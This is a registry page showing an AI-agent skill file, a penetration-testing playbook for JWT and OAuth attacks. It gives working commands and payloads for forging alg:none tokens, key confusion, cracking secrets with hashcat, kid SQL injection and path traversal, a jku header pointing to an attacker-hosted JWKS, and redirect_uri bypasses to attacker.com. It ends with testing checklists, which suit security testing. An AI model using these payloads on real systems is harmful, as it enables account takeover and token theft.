jwt-oauth-token-attacks
Skill2 starsChanged 5 months agoApache-2.0View on GitHub
JWT and OAuth token attack playbook. Use when validating token trust, signing algorithms, key handling, claim abuse, bearer flows, and OAuth account-binding weaknesses.
- Reads credentials
2 other projects use a version of this, 1 of them edited.
Adopted by
Most recently taken up by
- Kur1sulab/blackboxedited, first seen Aug 12, 2026
- yaklang/hack-skillsword for word, first seen Apr 29, 2026
Other versions2 projects use a version of this.
Word for word · 1
- yaklang/hack-skills★ 2.4k100% same
Edited · 1
- Kur1sulab/blackbox★ 399% same
Wrote their own version · 0
None found.
How matches are found. Word for word: the exact same text. Edited: shares passages with this file (“99% same” means 99% of its five-word phrases also appear here; 10% or more counts). Their own version: similar meaning, or, weakest, the same name. We can’t tell which project had it first. Projects are counted among the 200 most-starred candidates, and mentions are links to the repository we found, up to 50 per site, so both counts are a floor.
In this repository168 other files it gives its agents.
- AGENTS.mdAGENTS.md
- .cursor/rules/CO-STAR-UI-CREATOR/AGENT.mdcCursor rule
- .cursor/rules/CO-STAR-UI-CREATOR/CO-STAR-CREATOR.mdCursor rule
- .cursor/rules/CO-STAR-UI-CREATOR/CO-STAR-PROMPT.mdCursor rule
- .cursor/rules/CO-STAR-UI-CREATOR/README.mdCursor rule
- .cursor/rules/CO-STAR-UI-CREATOR/ui.mdCursor rule
- 401-403-bypass-techniquesSkill
- active-directory-acl-abuseSkill
- active-directory-certificate-servicesSkill
- active-directory-kerberos-attacksSkill
- agent-browserSkill
- ai-ml-securitySkill
- ai-seoSkill
- android-pentesting-tricksSkill
- anti-debugging-techniquesSkill
- api-auth-and-jwt-abuseSkill
- api-authorization-and-bolaSkill
- api-recon-and-docsSkill
- api-secSkill
- arbitrary-write-to-rceSkill
- arize-adminSkill
- arize-ai-provider-integrationSkill
- arize-annotationSkill
- arize-compliance-auditSkill
- arize-datasetSkill
- arize-evaluatorSkill
- arize-experimentSkill
- arize-instrumentationSkill
- arize-linkSkill
- arize-prompt-optimizationSkill
- arize-promptsSkill
- arize-traceSkill
- authbypass-authentication-flawsSkill
- auth-secSkill
- binary-protection-bypassSkill
- browser-exploitation-v8Skill
- building-nango-functions-locallySkill
- building-nango-functions-remotelySkill
- building-nango-functionsSkill
- business-logic-vulnerabilitiesSkill
- business-logic-vulnSkill
- classical-cipher-analysisSkill
- clickjackingSkill
- cmdi-command-injectionSkill
- code-obfuscation-deobfuscationSkill
- compliance-checkSkill
- compliance-trackingSkill
- container-escape-techniquesSkill
- core-engineeringSkill
- cors-cross-origin-misconfigurationSkill
- crlf-injectionSkill
- csp-bypass-advancedSkill
- csrf-cross-site-request-forgerySkill
- csv-formula-injectionSkill
- d3-visualizationSkill
- dangling-markup-injectionSkill
- defi-attack-patternsSkill
- dependency-confusionSkill
- deserialization-insecureSkill
- dns-rebinding-attacksSkill
- The first 60 shown.
The file
We split this skill into the rules it gives an agent
2 rules. About 0 are common, 1 is distinctive, and 1 is very specific to this project.
≈0
Common · estimate
Many files like this have a rule of this kind.
≈1
Distinctive · estimate
This author's own choices. Worth a look.
1
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Distinctive: line 13
Use this file for token-centric attacks and flow abuse.
- Very specific: line 136
If backend queries SQL: SELECT key FROM keys WHERE kid = 'INPUT' Result: HMAC key = 'attacker_controlled_key' → forge any payload signed …
≈ “Common” is an estimate: at least 1 in 5 of the 350,495 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
SKILL: JWT and OAuth 2.0 Token Attacks — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert authentication token attacks. Covers JWT cryptographic attacks (alg:none, RS256→HS256, secret crack, kid/jku injection), OAuth flow attacks (CSRF, open redirect, token theft, implicit flow abuse), PKCE bypass, and token leakage via Referer/logs. This is critical for modern web applications.
0. RELATED ROUTING
Use this file for token-centric attacks and flow abuse. Also load:
- oauth oidc misconfiguration for redirect URI, state, nonce, PKCE, and account-binding validation
- cors cross origin misconfiguration when browser-readable APIs or token leakage may exist cross-origin
- saml sso assertion attacks when the target uses enterprise SSO outside OAuth/OIDC
1. JWT ANATOMY
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEyMzQsInJvbGUiOiJ1c2VyIn0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
└─────────────────────┘ └────────────────────────────┘ └──────────────────────────────────────────┘
HEADER PAYLOAD SIGNATUREDecode in terminal:
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d
# → {"alg":"HS256","typ":"JWT"}
echo "eyJ1c2VySWQiOjEyMzQsInJvbGUiOiJ1c2VyIn0" | base64 -d
# → {"userId":1234,"role":"user"}Common claim targets (modify to escalate):
{
"role": "admin",
"isAdmin": true,
"userId": OTHER_USER_ID,
"email": "victim@target.com",
"sub": "admin",
"permissions": ["admin", "write", "delete"],
"tier": "premium"
}2. ATTACK 1 — ALGORITHM NONE (alg:none)
Server doesn't validate signature when algorithm is "none"/"None"/"NONE":
# Burp JWT Editor / python-jwt attack:
# Step 1: Decode header
echo '{"alg":"HS256","typ":"JWT"}' | base64 → old_header
# Step 2: Create new header
echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '/+' '_-'
# Step 3: Modify payload (e.g., role → admin):
echo -n '{"userId":1234,"role":"admin"}' | base64 | tr -d '=' | tr '/+' '_-'
# Step 4: Construct token with empty signature:
HEADER.PAYLOAD.
# OR:
HEADER.PAYLOADTool (jwt_tool):
python3 jwt_tool.py JWT_TOKEN -X a
# → automatically generates alg:none variants3. ATTACK 2 — RS256 TO HS256 KEY CONFUSION
When server uses RS256 (asymmetric — RSA private key signs, public key verifies):
- Server's public key is often discoverable (JWKS endpoint,
/certs, source code) - Attack: tell server "this is HS256" → server verifies HS256 HMAC using the public key as secret
# Step 1: Obtain public key (PEM format)
# From: /api/.well-known/jwks.json → convert to PEM
# From: /certs endpoint
# From: OpenSSL extraction from HTTPS cert
# Step 2: Use jwt_tool to sign with HS256 using public key as secret:
python3 jwt_tool.py JWT_TOKEN -X k -pk public_key.pem
# Step 3: Manually:
# Modify header: {"alg":"HS256","typ":"JWT"}
# Sign entire header.payload with HMAC-SHA256 using PEM public key bytes4. ATTACK 3 — JWT SECRET BRUTE FORCE
HMAC-based JWTs (HS256/HS384/HS512) with weak secret:
# hashcat (fast):
hashcat -a 0 -m 16500 "JWT_TOKEN_HERE" /usr/share/wordlists/rockyou.txt
# john:
echo "JWT_TOKEN_HERE" > jwt.txt
john --format=HMAC-SHA256 --wordlist=/usr/share/wordlists/rockyou.txt jwt.txt
# jwt_tool:
python3 jwt_tool.py JWT_TOKEN -C -d /path/to/wordlist.txtCommon weak secrets to test manually:
secret, password, 123456, qwerty, changeme, your-256-bit-secret,
APP_NAME, app_name, production, jwt_secret, SECRET_KEY5. ATTACK 4 — kid (Key ID) INJECTION
The kid header parameter specifies which key to use for verification. No sanitization = injection:
kid SQL Injection
{"alg":"HS256","kid":"' UNION SELECT 'attacker_controlled_key' FROM dual--"}If backend queries SQL: SELECT key FROM keys WHERE kid = 'INPUT'
Result: HMAC key = 'attacker_controlled_key' → forge any payload signed with this value.
kid Path Traversal (file read)
{"alg":"HS256","kid":"../../../../dev/null"}Server reads /dev/null as key → empty string → sign token with empty HMAC.
{"alg":"HS256","kid":"../../../../etc/hostname"}Server reads hostname as key → forge tokens signed with hostname string.
6. ATTACK 5 — jku / x5u Header Injection
jku points to JSON Web Key Set URL. If not whitelisted:
{"alg":"RS256","jku":"https://attacker.com/malicious-jwks.json","kid":"my-key"}Setup:
# Generate RSA key pair:
openssl genrsa -out private.pem 2048
openssl rsa -in private.pem -pubout -out public.pem
# Create JWKS:
python3 -c "
import json, base64, struct
# ... (use python-jwcrypto or jwt_tool to export JWKS)
"
# Host malicious JWKS at attacker.com/malicious-jwks.json
# Sign JWT with attacker's private key
# Server fetches attacker's JWKS → verifies with attacker's public key → acceptsjwt_tool automation:
python3 jwt_tool.py JWT -X s -ju https://attacker.com/malicious-jwks.json7. OAUTH 2.0 — STATE PARAMETER MISSING (CSRF)
State parameter prevents CSRF in OAuth. If missing:
Attack:
1. Click "Login with Google" → OAuth starts → intercept the redirect URL:
https://accounts.google.com/oauth2/auth?client_id=APP_ID&redirect_uri=https://target.com/callback&state=MISSING_OR_PREDICTABLE&code=...
2. Get the authorization code (stop before exchanging it)
3. Craft URL: https://target.com/oauth/callback?code=ATTACKER_CODE
4. Victim clicks that URL → their session binds to ATTACKER's OAuth identity
→ ACCOUNT TAKEOVER8. OAUTH — REDIRECT_URI BYPASS
Authorization codes are sent to redirect_uri. If validation is weak:
Open Redirect in redirect_uri
Original: redirect_uri=https://target.com/callback
Attack: redirect_uri=https://target.com/callback/../../../attacker.com
redirect_uri=https://attacker.com.target.com/callback
redirect_uri=https://target.com@attacker.com/callbackPartial Path Match
Whitelist: https://target.com/callback
Attack: https://target.com/callback%2f../admin (URL path confusion)
https://target.com/callbackXSS (prefix match only)Localhost / Development Redirect
redirect_uri=http://localhost/steal
redirect_uri=urn:ietf:wg:oauth:2.0:oob (mobile apps)9. OAUTH — IMPLICIT FLOW TOKEN THEFT
Implicit flow: token sent in URL fragment #access_token=...
Fragment leakage scenarios:
- Redirect to attacker page: fragment accessible via
document.referreror via<script>window.location.href</script>in target page - Open redirect:
redirect_uri=https://target.com/open-redirect?url=https://attacker.com→ token in fragment lands at attacker's page
10. OAUTH — SCOPE ESCALATION
Request broader scope than authorized in authorization code:
Authorized scope: read:profile
Attack: During token exchange, add scope=admin or scope=read:admin
→ Does server grant requested scope or issued scope?11. TOKEN LEAKAGE VECTORS
Referer Header
Token in URL → page loads external resource → Referer leaks token:
https://target.com/dashboard#access_token=TOKEN
→ HTML loads: <img src="https://analytics.third-party.com/track">
→ Referer: https://target.com/dashboard#access_token=TOKEN
→ analytics.third-party.com sees token in Referer logsServer Logs
Access tokens sent in query parameters are stored in:
/var/log/nginx/access.log
/var/log/apache2/access.log
ELB/ALB logs (AWS)
CloudFront logs
CDN logs12. JWT TESTING CHECKLIST
□ Decode header + payload (base64 decode each part)
□ Identify algorithm: HS256/RS256/ES256/none
□ Modify payload fields (role, userId, isAdmin) → change signature too
□ Test alg:none → remove signature entirely
□ If RS256: find public key → attempt RS256→HS256 confusion
□ If HS256: brute force with hashcat/rockyou
□ Check kid parameter → try SQL injection + path traversal
□ Check jku/x5u header → redirect to attacker JWKS
□ Test token reuse after logout
□ Test expired token acceptance (exp claim)
□ Check for token in GET params (log leakage) vs header13. OAUTH TESTING CHECKLIST
□ Check for state parameter in authorization request
□ Test redirect_uri manipulation (open redirect, prefix match, path confusion)
□ Can tokens be exchanged more than once?
□ Test scope escalation during token exchange
□ Implicit flow: check for token in Referer/history
□ PKCE: can code_challenge be bypassed or code_verifier be empty?
□ Check for authorization code reuse (code must be single-use)
□ Test account linking abuse: link OAuth to existing account with same email
□ Check OAuth provider confusion: use Apple ID to link where Google expectedDoes it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

